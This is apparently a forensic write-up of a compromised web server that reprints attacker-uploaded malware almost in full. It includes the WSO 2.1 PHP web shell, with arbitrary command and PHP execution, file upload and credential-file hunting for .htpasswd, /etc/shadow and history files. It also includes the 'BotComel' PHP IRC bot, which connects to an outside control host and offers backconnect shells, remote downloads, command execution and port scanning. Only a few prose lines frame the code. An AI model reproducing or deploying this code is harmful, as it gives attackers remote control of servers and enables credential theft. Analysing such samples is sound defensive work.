   1: ?><?php/* WSO 2.1 (Web Shell by oRb) */   2: $auth_pass = "161498ff7b638f5e5c0d5e32fab5470b";   3: $color = "#df5";   4: $default_action = 'FilesMan';   5: @define('SELF_PATH', __FILE__);   6: if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false )    7: {    header('HTTP/1.0 404 Not Found');    exit;}@session_start();@error_reporting(0);@ini_set('error_log',NULL);@ini_set('log_errors',0);@ini_set('max_execution_time',0);@set_time_limit(0);@set_magic_quotes_runtime(0);   8: @define('VERSION', '2.1');   9: if( get_magic_quotes_gpc() ) {    function stripslashes_array($array) {        return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);    }    $_POST = stripslashes_array($_POST);}function printLogin() {    ?>    <center>    <form method=post>    Password: <input type=password name=pass><input type=submit value='>>'>    </form></center>    <?php    exit;}if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))    if( empty( $auth_pass ) ||        ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )        $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;    else        printLogin();if( strtolower( substr(PHP_OS,0,3) ) == "win" )    $os = 'win';else    $os = 'nix';$safe_mode = @ini_get('safe_mode');$disable_functions = @ini_get('disable_functions');$home_cwd = @getcwd();if( isset( $_POST['c'] ) )    @chdir($_POST['c']);$cwd = @getcwd();if( $os == 'win') {    $home_cwd = str_replace("\\", "/", $home_cwd);    $cwd = str_replace("\\", "/", $cwd);}if( $cwd[strlen($cwd)-1] != '/' )    $cwd .= '/';    if($os == 'win')    $aliases = array(        "List Directory" => "dir",        "Find index.php in current dir" => "dir /s /w /b index.php",        "Find *config*.php in current dir" => "dir /s /w /b *config*.php",        "Show active connections" => "netstat -an",        "Show running services" => "net start",        "User accounts" => "net user",        "Show computers" => "net view",        "ARP Table" => "arp -a",        "IP Configuration" => "ipconfig /all"    );else    $aliases = array(          "List dir" => "ls -la",        "list file attributes on a Linux second extended file system" => "lsattr -va",          "show opened ports" => "netstat -an | grep -i listen",        "Find" => "",          "find all suid files" => "find / -type f -perm -04000 -ls",          "find suid files in current dir" => "find . -type f -perm -04000 -ls",          "find all sgid files" => "find / -type f -perm -02000 -ls",          "find sgid files in current dir" => "find . -type f -perm -02000 -ls",          "find config.inc.php files" => "find / -type f -name config.inc.php",          "find config* files" => "find / -type f -name \"config*\"",          "find config* files in current dir" => "find . -type f -name \"config*\"",          "find all writable folders and files" => "find / -perm -2 -ls",          "find all writable folders and files in current dir" => "find . -perm -2 -ls",          "find all service.pwd files" => "find / -type f -name service.pwd",          "find service.pwd files in current dir" => "find . -type f -name service.pwd",          "find all .htpasswd files" => "find / -type f -name .htpasswd",          "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",          "find all .bash_history files" => "find / -type f -name .bash_history",          "find .bash_history files in current dir" => "find . -type f -name .bash_history",          "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",          "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",        "Locate" => "",          "locate httpd.conf files" => "locate httpd.conf",        "locate vhosts.conf files" => "locate vhosts.conf",        "locate proftpd.conf files" => "locate proftpd.conf",        "locate psybnc.conf files" => "locate psybnc.conf",        "locate my.conf files" => "locate my.conf",        "locate admin.php files" =>"locate admin.php",        "locate cfg.php files" => "locate cfg.php",        "locate conf.php files" => "locate conf.php",        "locate config.dat files" => "locate config.dat",        "locate config.php files" => "locate config.php",        "locate config.inc files" => "locate config.inc",        "locate config.inc.php" => "locate config.inc.php",        "locate config.default.php files" => "locate config.default.php",        "locate config* files " => "locate config",        "locate .conf files"=>"locate '.conf'",        "locate .pwd files" => "locate '.pwd'",        "locate .sql files" => "locate '.sql'",        "locate .htpasswd files" => "locate '.htpasswd'",        "locate .bash_history files" => "locate '.bash_history'",        "locate .mysql_history files" => "locate '.mysql_history'",        "locate .fetchmailrc files" => "locate '.fetchmailrc'",        "locate backup files" => "locate backup",        "locate dump files" => "locate dump",        "locate priv files" => "locate priv"        );function printHeader() {    if(empty($_POST['charset']))        $_POST['charset'] = "UTF-8";    global $color;    ?><html><head><meta http-equiv='Content-Type' content='text/html; charset=<?=$_POST['charset']?>'><title><?=$_SERVER['HTTP_HOST']?> - WSO <?=VERSION?></title><style>    body {background-color:#444;color:#e1e1e1;}    body,td,th    { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }    table.info    { color:#fff;background-color:#222; }    span,h1,a    { color:<?=$color?> !important; }    span        { font-weight: bolder; }    h1            { border-left:5px solid <?=$color?>;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }    div.content    { padding: 5px;margin-left:5px;background-color:#333; }    a            { text-decoration:none; }    a:hover        { text-decoration:underline; }    .ml1        { border:1px solid #444;padding:5px;margin:0;overflow: auto; }    .bigarea    { width:100%;height:250px; }    input, textarea, select    { margin:0;color:#fff;background-color:#555;border:1px solid <?=$color?>; font: 9pt Monospace,"Courier New"; }    form        { margin:0px; }    #toolsTbl    { text-align:center; }    .toolsInp    { width: 300px }    .main th    {text-align:left;background-color:#5e5e5e;}    .main tr:hover{background-color:#5e5e5e}    .main td, th{vertical-align:middle}    .l1            {background-color:#444}    pre            {font-family:Courier,Monospace;}</style><script>    function set(a,c,p1,p2,p3,charset) {        if(a != null)document.mf.a.value=a;        if(c != null)document.mf.c.value=c;        if(p1 != null)document.mf.p1.value=p1;        if(p2 != null)document.mf.p2.value=p2;        if(p3 != null)document.mf.p3.value=p3;        if(charset != null)document.mf.charset.value=charset;    }    function g(a,c,p1,p2,p3,charset) {        set(a,c,p1,p2,p3,charset);        document.mf.submit();    }    function a(a,c,p1,p2,p3,charset) {        set(a,c,p1,p2,p3,charset);        var params = "ajax=true";        for(i=0;i<document.mf.elements.length;i++)            params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);        sr('<?=$_SERVER['REQUEST_URI'];?>', params);    }    function sr(url, params) {            if (window.XMLHttpRequest) {            req = new XMLHttpRequest();            req.onreadystatechange = processReqChange;            req.open("POST", url, true);            req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");            req.send(params);        }         else if (window.ActiveXObject) {            req = new ActiveXObject("Microsoft.XMLHTTP");            if (req) {                req.onreadystatechange = processReqChange;                req.open("POST", url, true);                req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");                req.send(params);            }        }    }    function processReqChange() {        if( (req.readyState == 4) )            if(req.status == 200) {                //alert(req.responseText);                var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");                var arr=reg.exec(req.responseText);                eval(arr[2].substr(0, arr[1]));            }             else alert("Request error!");    }</script><head><body><div style="position:absolute;width:100%;background-color:#444;top:0;left:0;"><form method=post name=mf style='display:none;'><input type=hidden name=a value='<?=isset($_POST['a'])?$_POST['a']:''?>'><input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'><input type=hidden name=p1 value='<?=isset($_POST['p1'])?htmlspecialchars($_POST['p1']):''?>'><input type=hidden name=p2 value='<?=isset($_POST['p2'])?htmlspecialchars($_POST['p2']):''?>'><input type=hidden name=p3 value='<?=isset($_POST['p3'])?htmlspecialchars($_POST['p3']):''?>'><input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'></form><?php    $freeSpace = @diskfreespace($GLOBALS['cwd']);    $totalSpace = @disk_total_space($GLOBALS['cwd']);    $totalSpace = $totalSpace?$totalSpace:1;    $release = @php_uname('r');    $kernel = @php_uname('s');    $millink='http://milw0rm.com/search.php?dong=';    if( strpos('Linux', $kernel) !== false )        $millink .= urlencode( 'Linux Kernel ' . substr($release,0,6) );    else        $millink .= urlencode( $kernel . ' ' . substr($release,0,3) );    if(!function_exists('posix_getegid')) {        $user = @get_current_user();        $uid = @getmyuid();        $gid = @getmygid();        $group = "?";    } else {        $uid = @posix_getpwuid(@posix_geteuid());        $gid = @posix_getgrgid(@posix_getegid());        $user = $uid['name'];        $uid = $uid['uid'];        $group = $gid['name'];        $gid = $gid['gid'];    }    $cwd_links = '';    $path = explode("/", $GLOBALS['cwd']);    $n=count($path);    for($i=0;$i<$n-1;$i++) {        $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";        for($j=0;$j<=$i;$j++)            $cwd_links .= $path[$j].'/';        $cwd_links .= "\")'>".$path[$i]."/</a>";    }    $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');    $opt_charsets = '';    foreach($charsets as $item)        $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';    $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Infect'=>'Infect','Sql'=>'Sql','Php'=>'Php','Safe mode'=>'SafeMode','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');    if(!empty($GLOBALS['auth_pass']))    $m['Logout'] = 'Logout';    $m['Self remove'] = 'SelfRemove';    $menu = '';    foreach($m as $k => $v)        $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';    $drives = "";    if ($GLOBALS['os'] == 'win') {        foreach( range('a','z') as $drive )        if (is_dir($drive.':\\'))            $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';    }    echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:'.($GLOBALS['os'] == 'win'?'<br>Drives:':'').'</span></td>'.         '<td><nobr>'.substr(@php_uname(), 0, 120).'  <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[Google]</a> <a href="'.$millink.'" target=_blank>[milw0rm]</a></nobr><br>'.$uid.' ( '.$user.' ) <span>Group:</span> '.$gid.' ( '.$group.' )<br>'.@phpversion().' <span>Safe mode:</span> '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=#00bb00><b>OFF</b></font>').' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> '.date('Y-m-d H:i:s').'<br>'.viewSize($totalSpace).' <span>Free:</span> '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>'.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a><br>'.$drives.'</td>'.         '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">'.$opt_charsets.'</optgroup></select><br><span>Server IP:</span><br>'.gethostbyname($_SERVER["HTTP_HOST"]).'<br><span>Client IP:</span><br>'.$_SERVER['REMOTE_ADDR'].'</nobr></td></tr></table>'.         '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>'.$menu.'</tr></table><div style="margin:5">';}function printFooter() {    $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";?></div><table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style="border-top:2px solid #333;border-bottom:2px solid #333;">    <tr>        <td><form onSubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?=htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>        <td><form onSubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>    </tr>    <tr>        <td><form onSubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?=$is_writable?></td>        <td><form onSubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?=$is_writable?></td>    </tr>    <tr>        <td><form onSubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>        <td><form method='post' ENCTYPE='multipart/form-data'>        <input type=hidden name=a value='FilesMAn'>        <input type=hidden name=c value='<?=htmlspecialchars($GLOBALS['cwd'])?>'>        <input type=hidden name=p1 value='uploadFile'>        <input type=hidden name=charset value='<?=isset($_POST['charset'])?$_POST['charset']:''?>'>        <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?=$is_writable?></td>    </tr></table></div></body></html><?php}if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }function ex($in) {    $out = '';    if(function_exists('exec')) {        @exec($in,$out);        $out = @join("\n",$out);    }elseif(function_exists('passthru')) {        ob_start();        @passthru($in);        $out = ob_get_clean();    }elseif(function_exists('system')) {        ob_start();        @system($in);        $out = ob_get_clean();    }elseif(function_exists('shell_exec')) {        $out = shell_exec($in);    }elseif(is_resource($f = @popen($in,"r"))) {        $out = "";        while(!@feof($f))            $out .= fread($f,1024);        pclose($f);    }    return $out;}function viewSize($s) {    if($s >= 1073741824)        return sprintf('%1.2f', $s / 1073741824 ). ' GB';    elseif($s >= 1048576)        return sprintf('%1.2f', $s / 1048576 ) . ' MB';    elseif($s >= 1024)        return sprintf('%1.2f', $s / 1024 ) . ' KB';    else        return $s . ' B';}function perms($p) {    if (($p & 0xC000) == 0xC000)$i = 's';    elseif (($p & 0xA000) == 0xA000)$i = 'l';    elseif (($p & 0x8000) == 0x8000)$i = '-';    elseif (($p & 0x6000) == 0x6000)$i = 'b';    elseif (($p & 0x4000) == 0x4000)$i = 'd';    elseif (($p & 0x2000) == 0x2000)$i = 'c';    elseif (($p & 0x1000) == 0x1000)$i = 'p';    else $i = 'u';    $i .= (($p & 0x0100) ? 'r' : '-');    $i .= (($p & 0x0080) ? 'w' : '-');    $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));    $i .= (($p & 0x0020) ? 'r' : '-');    $i .= (($p & 0x0010) ? 'w' : '-');    $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));    $i .= (($p & 0x0004) ? 'r' : '-');    $i .= (($p & 0x0002) ? 'w' : '-');    $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));    return $i;}function viewPermsColor($f) {     if (!@is_readable($f))        return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';    elseif (!@is_writable($f))        return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';    else        return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';}if(!function_exists("scandir")) {    function scandir($dir) {        $dh  = opendir($dir);        while (false !== ($filename = readdir($dh))) {            $files[] = $filename;        }        return $files;    }}function which($p) {    $path = ex('which '.$p);    if(!empty($path))        return $path;    return false;}function actionSecInfo() {    printHeader();    echo '<h1>Server security information</h1><div class=content>';    function showSecParam($n, $v) {        $v = trim($v);        if($v) {            echo '<span>'.$n.': </span>';            if(strpos($v, "\n") === false)                echo $v.'<br>';            else                echo '<pre class=ml1>'.$v.'</pre>';        }    }        showSecParam('Server software', @getenv('SERVER_SOFTWARE'));    showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');    showSecParam('Open base dir', @ini_get('open_basedir'));    showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));    showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));    showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');    $temp=array();    if(function_exists('mysql_get_client_info'))        $temp[] = "MySql (".mysql_get_client_info().")";    if(function_exists('mssql_connect'))        $temp[] = "MSSQL";    if(function_exists('pg_connect'))        $temp[] = "PostgreSQL";    if(function_exists('oci_connect'))        $temp[] = "Oracle";    showSecParam('Supported databases', implode(', ', $temp));    echo '<br>';        if( $GLOBALS['os'] == 'nix' ) {        $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');        $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');        $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');        showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');        showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');        showSecParam('OS version', @file_get_contents('/proc/version'));        showSecParam('Distr name', @file_get_contents('/etc/issue.net'));        if(!$GLOBALS['safe_mode']) {            echo '<br>';            $temp=array();            foreach ($userful as $item)                if(which($item)){$temp[]=$item;}            showSecParam('Userful', implode(', ',$temp));            $temp=array();            foreach ($danger as $item)                if(which($item)){$temp[]=$item;}            showSecParam('Danger', implode(', ',$temp));            $temp=array();            foreach ($downloaders as $item)                 if(which($item)){$temp[]=$item;}            showSecParam('Downloaders', implode(', ',$temp));            echo '<br/>';            showSecParam('Hosts', @file_get_contents('/etc/hosts'));            showSecParam('HDD space', ex('df -h'));            showSecParam('Mount options', @file_get_contents('/etc/fstab'));        }    } else {        showSecParam('OS Version',ex('ver'));         showSecParam('Account Settings',ex('net accounts'));         showSecParam('User Accounts',ex('net user'));    }    echo '</div>';    printFooter();}function actionPhp() {    if( isset($_POST['ajax']) ) {        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;        ob_start();        eval($_POST['p1']);        $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";        echo strlen($temp), "\n", $temp;        exit;     }    printHeader();    if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {        echo '<h1>PHP info</h1><div class=content>';        ob_start();        phpinfo();        $tmp = ob_get_clean();        $tmp = preg_replace('!body {.*}!msiU','',$tmp);        $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);        $tmp = preg_replace('!h1!msiU','h2',$tmp);        $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);        $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);        echo $tmp;        echo '</div><br>';    }    if(empty($_POST['ajax'])&&!empty($_POST['p1']))        $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'

Looking at the file from the web browser we notice the request for the password,

Easy to find out with a google search, 161498ff7b638f5e5c0d5e32fab5470b is “syurga”, and we have another php web shell installation.

Finally another file kindly uploaded from the attackers,

   1: <?php   2: /**   3:  * @PHP BotComel.Private v2 Created by Ahlspiess   4:  * @Info: Written under PHP 5.2.6 Windows Vista SP2   5:  */   6: /**   7:  * @List CMD   8:     !bcon = backconnect   9:     !http = request web  10:     !info = print info  11:     !restart = reconnect bot  12:     !pwd = print current working dir  13:     !cd = change dir  14:     !raw = exec mirc cmd  15:     !exec = exec shell cmd  16:     !download = download file  17:     !quit = close bot connection  18:     !pscan = scan open port  19:     !mail = send an email  20:  */  21:    22: if(preg_match("/google|msn|yahoo|bot|spider|crawler|archive/", strtolower($_SERVER['HTTP_USER_AGENT']))) {  23:     header('HTTP/1.0 404 Not Found');  24:     exit;  25: }  26:    27: @set_time_limit(0);   28: @error_reporting(0);  29: define('DS', DIRECTORY_SEPARATOR);  30: define('__THIS__', 'BotComel');  31: define('BotVersion', 'BotComel Version 3-prv');  32: class BotComel {  33:       34:     var $config = array('server' => 'ahlisyurga.no-ip.org', // Server IP/Hostname  35:                         'port' => 443, // Server Port  36:                         'chan' => '#emotoy', // Channel  37:                         'cmdprefix' => '!', // Command Prefix  38:                         'password' => 'd74bedca82df091bb83e43cb10785da6', // Password: md5 encryption, default: botcomel  39:                         'debug' => false // debug kene guna cli  40:                         );  41:                           42:     var $users = array();  43:       44:     function init() {  45:         if(!($this->connection = fsockopen($this->config['server'], $this->config['port'], $e, $s, 30)))  46:             {  47:                 $this->init();  48:             }  49:         $ident = md5(time());  50:         $this->send("USER $ident 127.0.0.1 localhost :$ident");  51:         $this->getNick();  52:         $this->start();  53:     }  54:       55:     function start() {  56:         while(!feof($this->connection))  57:             {  58:                 $this->buffer = trim(fgets($this->connection, 512));  59:                 $cmd = explode(" ", $this->buffer);  60:                 if(substr($this->buffer, 0, 6) == "PING :")   61:                     {   62:                         $this->send("PONG :".substr($this->buffer, 6));  63:                         $this->pingged = 1;  64:                     }  65:                 if(isset($cmd[1]))  66:                     {  67:                         if($cmd[1] == '001')  68:                             {  69:                                 $this->join($this->config['chan']);  70:                             }  71:                         if($cmd[1] == '443')  72:                             {  73:                                 $this->getNick();  74:                             }  75:                     }  76:                 if($this->buffer != $old_buffer)  77:                     {  78:                         $mcmd = array();  79:                         $msg = substr(strstr($this->buffer, " :"), 2);  80:                         $msgcmd = explode(" ", $msg);  81:                         $nick = explode("!", $cmd[0]);  82:                         $vhost = explode("@", $nick[1]);  83:                         $vhost = $vhost[1];  84:                         $nick = substr($nick[0], 1);  85:                         $host = $cmd[0];  86:                         if($msgcmd[0] == $this->nick)  87:                             {  88:                                 for($i=0;$i<count($msgcmd);$i++)  89:                                     {  90:                                         $mcmd[$i] = $msgcmd[$i+1];  91:                                     }  92:                             }  93:                             else  94:                             {  95:                                 for($i=0;$i<count($msgcmd);$i++)  96:                                     {  97:                                         $mcmd[$i] = $msgcmd[$i];  98:                                     }  99:                             } 100:                         if(count($cmd) > 2) 101:                             { 102:                                 switch($cmd[1]) 103:                                     { 104:                                         case 'PART': 105:                                         case 'LOGOUT': 106:                                             if($this->isLoggedIn($host)) 107:                                                 { 108:                                                     $this->logOut($host); 109:                                                 } 110:                                             break; 111:                                          112:                                         /** 113:                                          * @Start Command args 114:                                          */ 115:                                         case 'PRIVMSG': 116:                                             if(!$this->isLoggedIn($host)) 117:                                                 { 118:                                                     if(substr($mcmd[0], 0, 1) == $this->config['cmdprefix']) 119:                                                         { 120:                                                             switch(substr($mcmd[0], 1)) 121:                                                                 { 122:                                                                     /** 123:                                                                      * @Description: Login to bot. 124:                                                                      * @Usage: !login password 125:                                                                      */ 126:                                                                     case 'login': 127:                                                                         if(md5($mcmd[1]) == $this->config['password']) 128:                                                                             { 129:                                                                                 $this->notice($nick, "Welcome Admin!"); 130:                                                                                 $this->logIn($host); 131:                                                                             } 132:                                                                             else 133:                                                                             { 134:                                                                                 $this->notice($nick, "Incorrect Password!"); 135:                                                                             } 136:                                                                         break; 137:                                                                 } 138:                                                         } 139:                                                 } 140:                                                 elseif($this->isLoggedIn($host)) 141:                                                     { 142:                                                         if(substr($mcmd[0], 0, 1) == $this->config['cmdprefix']) 143:                                                             { 144:                                                                 switch(substr($mcmd[0], 1)) 145:                                                                     { 146:                                                                         case 'host': 147:                                                                             $this->mes($this->config['chan'], "Host: ".$_SERVER['HTTP_HOST']); 148:                                                                             break; 149:                                                                         /** 150:                                                                          * @Description: Backconnect Shell 151:                                                                          * @Usage: !bcon ip port 152:                                                                          * @Example: !bcon 127.0.0.1 1337 153:                                                                          */ 154:                                                                         case 'bcon': 155:                                                                             if(count($mcmd) > 2) 156:                                                                                 { 157:                                                                                     $this->mes($this->config['chan'], "4Warning: Bot might Ping Time Out soon"); 158:                                                                                     if($this->ableFunc('pnctl_fork')) 159:                                                                                         { 160:                                                                                             $pid = pnctl_fork(); 161:                                                                                             if($pid) 162:                                                                                                 { 163:                                                                                                     $this->mes($this->config['chan'], "pcntl_fork is supported! Forked!"); 164:                                                                                                     $this->backconnect($nick, $mcmd[1], $mcmd[2]); 165:                                                                                                 } 166:                                                                                                 else 167:                                                                                                 { 168:                                                                                                     $this->mes($this->config['chan'], "Unable to fork! Using normal way!"); 169:                                                                                                     $this->backconnect($nick, $mcmd[1], $mcmd[2]); 170:                                                                                                 } 171:                                                                                         } 172:                                                                                         else 173:                                                                                         { 174:                                                                                             $this->mes($this->config['chan'], "Unable to fork! Using normal way!"); 175:                                                                                             $this->backconnect($nick, $mcmd[1], $mcmd[2]); 176:                                                                                         } 177:                                                                                 } 178:                                                                         break; 179:                                                                          180:                                                                         /** 181:                                                                          * @Description: Change Bot Nick. 182:                                                                          * @Usage: !resetnick 183:                                                                          */ 184:                                                                         case 'resetnick': 185:                                                                             $this->getNick(); 186:                                                                             break; 187:                                                                              188:                                                                         /** 189:                                                                          * @Description: Kill Bot. 190:                                                                          * @Usage: !quit 191:                                                                          */ 192:                                                                         case 'quit': 193:                                                                                 $this->send("QUIT :die command from $nick"); 194:                                                                                 fclose($this->connection); 195:                                                                                 unset($this->users); 196:                                                                                 exit; 197:                                                                             break; 198:                                                                              199:                                                                         /** 200:                                                                          * @Description: Restart bot connection. 201:                                                                          * @Usage: !restart 202:                                                                          */ 203:                                                                         case 'restart': 204:                                                                                 $this->send("QUIT :restart"); 205:                                                                                 fclose($this->connection); 206:                                                                                 unset($this->users); 207:                                                                                 $this->init(); 208:                                                                             break; 209:                                                                              210:                                                                         /** 211:                                                                          * @Description: Print *Basic* Server Information. 212:                                                                          * @Usage: !info 213:                                                                          */ 214:                                                                         case 'info': 215:                                                                                 $this->mes($this->config['chan'], "-======= [[8".BotVersion."]] ======-"); 216:                                                                                 $this->mes($this->config['chan'], "HOST/IP: [8".$_SERVER['HTTP_HOST']." /8 ".@getenv('SERVER_ADDR')."]"); 217:                                                                                 $this->mes($this->config['chan'], "PHP Version: [8 ".phpversion()." ]"); 218:                                                                                 $this->mes($this->config['chan'], "PHP Safe Mode: [".$this->safeMode()."]"); 219:                                                                                 $this->mes($this->config['chan'], "PHP Disable Function: [".$this->disabledFunc()."]"); 220:                                                                                 $this->mes($this->config['chan'], "".$this->userInfo().""); 221:                                                                                 $this->mes($this->config['chan'], "PHP Uname: [8".php_uname('a')."]"); 222:                                                                                 $this->mes($this->config['chan'], 'HDD: [8 '.$this->hdd("used").' Free:8 '.$this->hdd("free").' Total:8 '.$this->hdd("total").' ]'); 223:                                                                                 $this->mes($this->config['chan'], "Server Software: [8".$_SERVER['SERVER_SOFTWARE']."]"); 224:                                                                                 if(preg_match("/ON/", $this->safeMode())) 225:                                                                                     { 226:                                                                                         $this->mes($this->config['chan'], "Safe mode exec dir: [8".@ini_get('safe_mode_exec_dir')."]"); 227:                                                                                         $this->mes($this->config['chan'], "Safe mode include dir: [8".@ini_get('safe_mode_exec_dir')."]"); 228:                                                                                     } 229:                                                                                 $this->mes($this->config['chan'], "cURL support: [".$this->supportedCurl()."]"); 230:                                                                                 $this->mes($this->config['chan'], "Supported Database: ".$this->supportedDatabase().""); 231:                                                                             break; 232:                                                                              233:                                                                         /** 234:                                                                          * @Description: Execute Irc raw Command. 235:                                                                          * @Usage: !raw cmd 236:                                                                          * @Example: !raw JOIN #newchan 237:                                                                          */ 238:                                                                         case "raw": 239:                                                                             $this->send(strstr($msg, $mcmd[1])); 240:                                                                         break; 241:                                                                          242:                                                                         /** 243:                                                                          * @Description: Print current bot working dir. 244:                                                                          * @Usage: !pwd 245:                                                                          */ 246:                                                                         case 'pwd': 247:                                                                             $this->mes($this->config['chan'], "Currently at: ".getcwd()); 248:                                                                         break; 249:                                                                          250:                                                                         /** 251:                                                                          * @Description: Download remote file and save *locally*. 252:                                                                          * @Usage: !download url output 253:                                                                          * @Example: !download http://site.tld/myfile.txt file.txt 254:                                                                          * @Extra Note: Server will download myfile.txt from site.tld and save as file.txt. 255:                                                                          */ 256:                                                                         case 'download': 257:                                                                             if(count($mcmd) > 2) 258:                                                                                 { 259:                                                                                     if(!is_writeable(getcwd())) 260:                                                                                         { 261:                                                                                             $this->mes($this->config['chan'], "You doesn't have permission in current directory!"); 262:                                                                                         } 263:                                                                                         else 264:                                                                                         { 265:                                                                                             $this->downloadFile($mcmd[1], $mcmd[2]); 266:                                                                                         } 267:                                                                                 } 268:                                                                         break; 269:                                                                          270:                                                                         /** 271:                                                                          * @Description: Change working bot dir. 272:                                                                          * @Usage: !cd dir 273:                                                                          * @example: !cd /etc 274:                                                                          */ 275:                                                                         case 'cd': 276:                                                                             if(isset($mcmd[1])) 277:                                                                                 { 278:                                                                                     if(chdir($mcmd[1])) 279:                                                                                         { 280:                                                                                             $this->mes($this->config['chan'], "Succesfully changed directory!"); 281:                                                                                         } 282:                                                                                         else 283:                                                                                         { 284:                                                                                             $this->mes($this->config['chan'], "Unable to change directory!"); 285:                                                                                         } 286:                                                                                 } 287:                                                                         break; 288:                                                                          289:                                                                         /** 290:                                                                          * @Description: So-called open port scan. 291:                                                                          * @Usage: !pscan ip port 292:                                                                          * @Example: !pscan 127.0.0.1 80 293:                                                                          */ 294:                                                                         case 'pscan': 295:                                                                             if(count($mcmd) > 2) 296:                                                                                 { 297:                                                                                     if(fsockopen($mcmd[1], $mcmd[2], $e, $s, 15)) 298:                                                                                         { 299:                                                                                             